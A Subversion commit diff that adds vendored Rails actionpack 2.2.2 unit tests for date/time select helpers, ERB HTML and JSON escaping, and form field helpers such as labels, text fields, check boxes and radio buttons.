+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_6i" name="post[updated_at(6i)]">\n}
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", :include_seconds => true)
+  end
+
+  def test_datetime_select_discard_year
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_updated_at_1i" name="post[updated_at(1i)]" value="2004" />\n}
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", :discard_year => true)
+  end
+
+  def test_datetime_select_discard_month
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<input type="hidden" id="post_updated_at_2i" name="post[updated_at(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_updated_at_3i" name="post[updated_at(3i)]" value="15" />\n}
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", :discard_month => true)
+  end
+
+  def test_datetime_select_discard_year_and_month
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_updated_at_1i" name="post[updated_at(1i)]" value="2004" />\n}
+    expected << %{<input type="hidden" id="post_updated_at_2i" name="post[updated_at(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_updated_at_3i" name="post[updated_at(3i)]" value="15" />\n}
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", :discard_year => true, :discard_month => true)
+  end
+
+  def test_datetime_select_invalid_order
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", :order => [:minute, :day, :hour, :month, :year, :second])
+  end
+
+  def test_datetime_select_discard_with_order
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_updated_at_1i" name="post[updated_at(1i)]" value="2004" />\n}
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", :order => [:day, :month])
+  end
+
+  def test_datetime_select_with_default_value_as_time
+    @post = Post.new
+    @post.updated_at = nil
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    2001.upto(2011) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2006}>#{i}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 9}>#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 19}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", :default => Time.local(2006, 9, 19, 15, 16, 35))
+  end
+
+  def test_include_blank_overrides_default_option
+    @post = Post.new
+    @post.updated_at = nil
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    expected << %(<option value=""></option>\n)
+    (Time.now.year - 5).upto(Time.now.year + 5) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    expected << %(<option value=""></option>\n)
+    1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    expected << %(<option value=""></option>\n)
+    1.upto(31) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, date_select("post", "updated_at", :default => Time.local(2006, 9, 19, 15, 16, 35), :include_blank => true)
+  end
+
+  def test_datetime_select_with_default_value_as_hash
+    @post = Post.new
+    @post.updated_at = nil
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    (Time.now.year - 5).upto(Time.now.year + 5) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.year}>#{i}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 10}>#{Date::MONTHNAMES[i]}</option>\n) }
+    expected << "</select>\n"
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.day}>#{i}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 9}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 42}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", :default => { :month => 10, :minute => 42, :hour => 9 })
+  end
+
+  def test_datetime_select_with_html_options
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]" class="selector">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]" class="selector">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]" class="selector">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]" class="selector">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]" class="selector">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", {}, :class => 'selector')
+  end
+
+  def test_date_select_should_not_change_passed_options_hash
+    @post = Post.new
+    @post.updated_at = Time.local(2008, 7, 16, 23, 30)
+
+    options = { 
+      :order => [ :year, :month, :day ],
+      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+      :discard_type => false,
+      :include_blank => false,
+      :ignore_date => false,
+      :include_seconds => true
+    }
+    date_select(@post, :updated_at, options)
+
+    # note: the literal hash is intentional to show that the actual options hash isn't modified
+    #       don't change this!
+    assert_equal({ 
+      :order => [ :year, :month, :day ],
+      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+      :discard_type => false,
+      :include_blank => false,
+      :ignore_date => false,
+      :include_seconds => true
+    }, options)
+  end
+
+  def test_datetime_select_should_not_change_passed_options_hash
+    @post = Post.new
+    @post.updated_at = Time.local(2008, 7, 16, 23, 30)
+
+    options = { 
+      :order => [ :year, :month, :day ],
+      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+      :discard_type => false,
+      :include_blank => false,
+      :ignore_date => false,
+      :include_seconds => true
+    }
+    datetime_select(@post, :updated_at, options)
+
+    # note: the literal hash is intentional to show that the actual options hash isn't modified
+    #       don't change this!
+    assert_equal({ 
+      :order => [ :year, :month, :day ],
+      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+      :discard_type => false,
+      :include_blank => false,
+      :ignore_date => false,
+      :include_seconds => true
+    }, options)
+  end
+
+  def test_time_select_should_not_change_passed_options_hash
+    @post = Post.new
+    @post.updated_at = Time.local(2008, 7, 16, 23, 30)
+
+    options = { 
+      :order => [ :year, :month, :day ],
+      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+      :discard_type => false,
+      :include_blank => false,
+      :ignore_date => false,
+      :include_seconds => true
+    }
+    time_select(@post, :updated_at, options)
+
+    # note: the literal hash is intentional to show that the actual options hash isn't modified
+    #       don't change this!
+    assert_equal({ 
+      :order => [ :year, :month, :day ],
+      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+      :discard_type => false,
+      :include_blank => false,
+      :ignore_date => false,
+      :include_seconds => true
+    }, options)
+  end
+
+  def test_select_date_should_not_change_passed_options_hash
+    options = { 
+      :order => [ :year, :month, :day ],
+      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+      :discard_type => false,
+      :include_blank => false,
+      :ignore_date => false,
+      :include_seconds => true
+    }
+    select_date(Date.today, options)
+
+    # note: the literal hash is intentional to show that the actual options hash isn't modified
+    #       don't change this!
+    assert_equal({ 
+      :order => [ :year, :month, :day ],
+      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+      :discard_type => false,
+      :include_blank => false,
+      :ignore_date => false,
+      :include_seconds => true
+    }, options)
+  end
+
+  def test_select_datetime_should_not_change_passed_options_hash
+    options = { 
+      :order => [ :year, :month, :day ],
+      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+      :discard_type => false,
+      :include_blank => false,
+      :ignore_date => false,
+      :include_seconds => true
+    }
+    select_datetime(Time.now, options)
+
+    # note: the literal hash is intentional to show that the actual options hash isn't modified
+    #       don't change this!
+    assert_equal({ 
+      :order => [ :year, :month, :day ],
+      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+      :discard_type => false,
+      :include_blank => false,
+      :ignore_date => false,
+      :include_seconds => true
+    }, options)
+  end
+
+  def test_select_time_should_not_change_passed_options_hash
+    options = { 
+      :order => [ :year, :month, :day ],
+      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+      :discard_type => false,
+      :include_blank => false,
+      :ignore_date => false,
+      :include_seconds => true
+    }
+    select_time(Time.now, options)
+
+    # note: the literal hash is intentional to show that the actual options hash isn't modified
+    #       don't change this!
+    assert_equal({ 
+      :order => [ :year, :month, :day ],
+      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+      :discard_type => false,
+      :include_blank => false,
+      :ignore_date => false,
+      :include_seconds => true
+    }, options)
+  end
+
+  protected
+    def with_env_tz(new_tz = 'US/Eastern')
+      old_tz, ENV['TZ'] = ENV['TZ'], new_tz
+      yield
+    ensure
+      old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/erb_util_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/erb_util_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/erb_util_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,24 @@
+require 'abstract_unit'
+
+class ErbUtilTest < Test::Unit::TestCase
+  include ERB::Util
+
+  ERB::Util::HTML_ESCAPE.each do |given, expected|
+    define_method "test_html_escape_#{expected.gsub /\W/, ''}" do
+      assert_equal expected, html_escape(given)
+    end
+
+    unless given == '"'
+      define_method "test_json_escape_#{expected.gsub /\W/, ''}" do
+        assert_equal ERB::Util::JSON_ESCAPE[given], json_escape(given)
+      end
+    end
+  end
+  
+  def test_rest_in_ascii
+    (0..127).to_a.map(&:chr).each do |chr|
+      next if %w(& " < >).include?(chr)
+      assert_equal chr, html_escape(chr)
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/form_helper_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/form_helper_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/form_helper_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,977 @@
+require 'abstract_unit'
+
+silence_warnings do
+  Post = Struct.new(:title, :author_name, :body, :secret, :written_on, :cost)
+  Post.class_eval do
+    alias_method :title_before_type_cast, :title unless respond_to?(:title_before_type_cast)
+    alias_method :body_before_type_cast, :body unless respond_to?(:body_before_type_cast)
+    alias_method :author_name_before_type_cast, :author_name unless respond_to?(:author_name_before_type_cast)
+    alias_method :secret?, :secret
+
+    def new_record=(boolean)
+      @new_record = boolean
+    end
+
+    def new_record?
+      @new_record
+    end
+  end
+
+  class Comment
+    attr_reader :id
+    attr_reader :post_id
+    def save; @id = 1; @post_id = 1 end
+    def new_record?; @id.nil? end
+    def to_param; @id; end
+    def name
+      @id.nil? ? 'new comment' : "comment ##{@id}"
+    end
+  end
+end
+
+class Comment::Nested < Comment; end
+
+class FormHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::FormHelper
+
+  def setup
+    @post = Post.new
+    @comment = Comment.new
+    def @post.errors()
+      Class.new{
+        def on(field); "can't be empty" if field == "author_name"; end
+        def empty?() false end
+        def count() 1 end
+        def full_messages() [ "Author name can't be empty" ] end
+      }.new
+    end
+    def @post.id; 123; end
+    def @post.id_before_type_cast; 123; end
+    def @post.to_param; '123'; end
+
+    @post.title       = "Hello World"
+    @post.author_name = ""
+    @post.body        = "Back to the hill and over it again!"
+    @post.secret      = 1
+    @post.written_on  = Date.new(2004, 6, 15)
+
+    @controller = Class.new do
+      attr_reader :url_for_options
+      def url_for(options)
+        @url_for_options = options
+        "http://www.example.com"
+      end
+    end
+    @controller = @controller.new
+  end
+
+  def test_label
+    assert_dom_equal('<label for="post_title">Title</label>', label("post", "title"))
+    assert_dom_equal('<label for="post_title">The title goes here</label>', label("post", "title", "The title goes here"))
+    assert_dom_equal(
+      '<label class="title_label" for="post_title">Title</label>',
+      label("post", "title", nil, :class => 'title_label')
+    )
+    assert_dom_equal('<label for="post_secret">Secret?</label>', label("post", "secret?"))
+  end
+
+  def test_label_with_symbols
+    assert_dom_equal('<label for="post_title">Title</label>', label(:post, :title))
+    assert_dom_equal('<label for="post_secret">Secret?</label>', label(:post, :secret?))
+  end
+
+  def test_label_with_for_attribute_as_symbol
+    assert_dom_equal('<label for="my_for">Title</label>', label(:post, :title, nil, :for => "my_for"))
+  end
+
+  def test_label_with_for_attribute_as_string
+    assert_dom_equal('<label for="my_for">Title</label>', label(:post, :title, nil, "for" => "my_for"))
+  end
+
+  def test_text_field
+    assert_dom_equal(
+      '<input id="post_title" name="post[title]" size="30" type="text" value="Hello World" />', text_field("post", "title")
+    )
+    assert_dom_equal(
+      '<input id="post_title" name="post[title]" size="30" type="password" value="Hello World" />', password_field("post", "title")
+    )
+    assert_dom_equal(
+      '<input id="person_name" name="person[name]" size="30" type="password" />', password_field("person", "name")
+    )
+  end
+
+  def test_text_field_with_escapes
+    @post.title = "<b>Hello World</b>"
+    assert_dom_equal(
+      '<input id="post_title" name="post[title]" size="30" type="text" value="&lt;b&gt;Hello World&lt;/b&gt;" />', text_field("post", "title")
+    )
+  end
+
+  def test_text_field_with_html_entities
+    @post.title = "The HTML Entity for & is &amp;"
+    assert_dom_equal(
+      '<input id="post_title" name="post[title]" size="30" type="text" value="The HTML Entity for &amp; is &amp;amp;" />',
+      text_field("post", "title")
+    )
+  end
+
+  def test_text_field_with_options
+    expected = '<input id="post_title" name="post[title]" size="35" type="text" value="Hello World" />'
+    assert_dom_equal expected, text_field("post", "title", "size" => 35)
+    assert_dom_equal expected, text_field("post", "title", :size => 35)
+  end
+
+  def test_text_field_assuming_size
+    expected = '<input id="post_title" maxlength="35" name="post[title]" size="35" type="text" value="Hello World" />'
+    assert_dom_equal expected, text_field("post", "title", "maxlength" => 35)
+    assert_dom_equal expected, text_field("post", "title", :maxlength => 35)
+  end
+
+  def test_text_field_removing_size
+    expected = '<input id="post_title" maxlength="35" name="post[title]" type="text" value="Hello World" />'
+    assert_dom_equal expected, text_field("post", "title", "maxlength" => 35, "size" => nil)
+    assert_dom_equal expected, text_field("post", "title", :maxlength => 35, :size => nil)
+  end
+
+  def test_text_field_doesnt_change_param_values
+    object_name = 'post[]'
+    expected = '<input id="post_123_title" name="post[123][title]" size="30" type="text" value="Hello World" />'
+    assert_equal expected, text_field(object_name, "title")
+    assert_equal object_name, "post[]"
+  end
+
+  def test_hidden_field
+    assert_dom_equal '<input id="post_title" name="post[title]" type="hidden" value="Hello World" />',
+      hidden_field("post", "title")
+      assert_dom_equal '<input id="post_secret" name="post[secret]" type="hidden" value="1" />',
+        hidden_field("post", "secret?")
+  end
+
+  def test_hidden_field_with_escapes
+    @post.title = "<b>Hello World</b>"
+    assert_dom_equal '<input id="post_title" name="post[title]" type="hidden" value="&lt;b&gt;Hello World&lt;/b&gt;" />',
+      hidden_field("post", "title")
+  end
+
+  def test_text_field_with_options
+    assert_dom_equal '<input id="post_title" name="post[title]" type="hidden" value="Something Else" />',
+      hidden_field("post", "title", :value => "Something Else")
+  end
+
+  def test_check_box
+    assert_dom_equal(
+      '<input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" /><input name="post[secret]" type="hidden" value="0" />',
+      check_box("post", "secret")
+    )
+    @post.secret = 0
+    assert_dom_equal(
+      '<input id="post_secret" name="post[secret]" type="checkbox" value="1" /><input name="post[secret]" type="hidden" value="0" />',
+      check_box("post", "secret")
+    )
+    assert_dom_equal(
+      '<input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" /><input name="post[secret]" type="hidden" value="0" />',
+      check_box("post", "secret" ,{"checked"=>"checked"})
+    )
+    @post.secret = true
+    assert_dom_equal(
+      '<input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" /><input name="post[secret]" type="hidden" value="0" />',
+      check_box("post", "secret")
+    )
+    assert_dom_equal(
+      '<input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" /><input name="post[secret]" type="hidden" value="0" />',
+      check_box("post", "secret?")
+    )
+
+    @post.secret = ['0']
+    assert_dom_equal(
+      '<input id="post_secret" name="post[secret]" type="checkbox" value="1" /><input name="post[secret]" type="hidden" value="0" />',
+      check_box("post", "secret")
+    )
+    @post.secret = ['1']
+    assert_dom_equal(
+      '<input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" /><input name="post[secret]" type="hidden" value="0" />',
+      check_box("post", "secret")
+    )
+  end
+
+  def test_check_box_with_explicit_checked_and_unchecked_values
+    @post.secret = "on"
+    assert_dom_equal(
+      '<input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="on" /><input name="post[secret]" type="hidden" value="off" />',
+      check_box("post", "secret", {}, "on", "off")
+    )
+  end
+
+  def test_checkbox_disabled_still_submits_checked_value
+    assert_dom_equal(
+      '<input checked="checked" disabled="disabled" id="post_secret" name="post[secret]" type="checkbox" value="1" /><input name="post[secret]" type="hidden" value="1" />',
+      check_box("post", "secret", { :disabled => :true })
+    )
+  end
+
+  def test_radio_button
+    assert_dom_equal('<input checked="checked" id="post_title_hello_world" name="post[title]" type="radio" value="Hello World" />',
+      radio_button("post", "title", "Hello World")
+    )
+    assert_dom_equal('<input id="post_title_goodbye_world" name="post[title]" type="radio" value="Goodbye World" />',
+      radio_button("post", "title", "Goodbye World")
+    )
+    assert_dom_equal('<input id="item_subobject_title_inside_world" name="item[subobject][title]" type="radio" value="inside world"/>',
+      radio_button("item[subobject]", "title", "inside world")
+    )
+  end
+
+  def test_radio_button_is_checked_with_integers
+    assert_dom_equal('<input checked="checked" id="post_secret_1" name="post[secret]" type="radio" value="1" />',
+      radio_button("post", "secret", "1")
+   )
+  end
+
+  def test_radio_button_respects_passed_in_id
+     assert_dom_equal('<input checked="checked" id="foo" name="post[secret]" type="radio" value="1" />',
+       radio_button("post", "secret", "1", :id=>"foo")
+    )
+  end
+
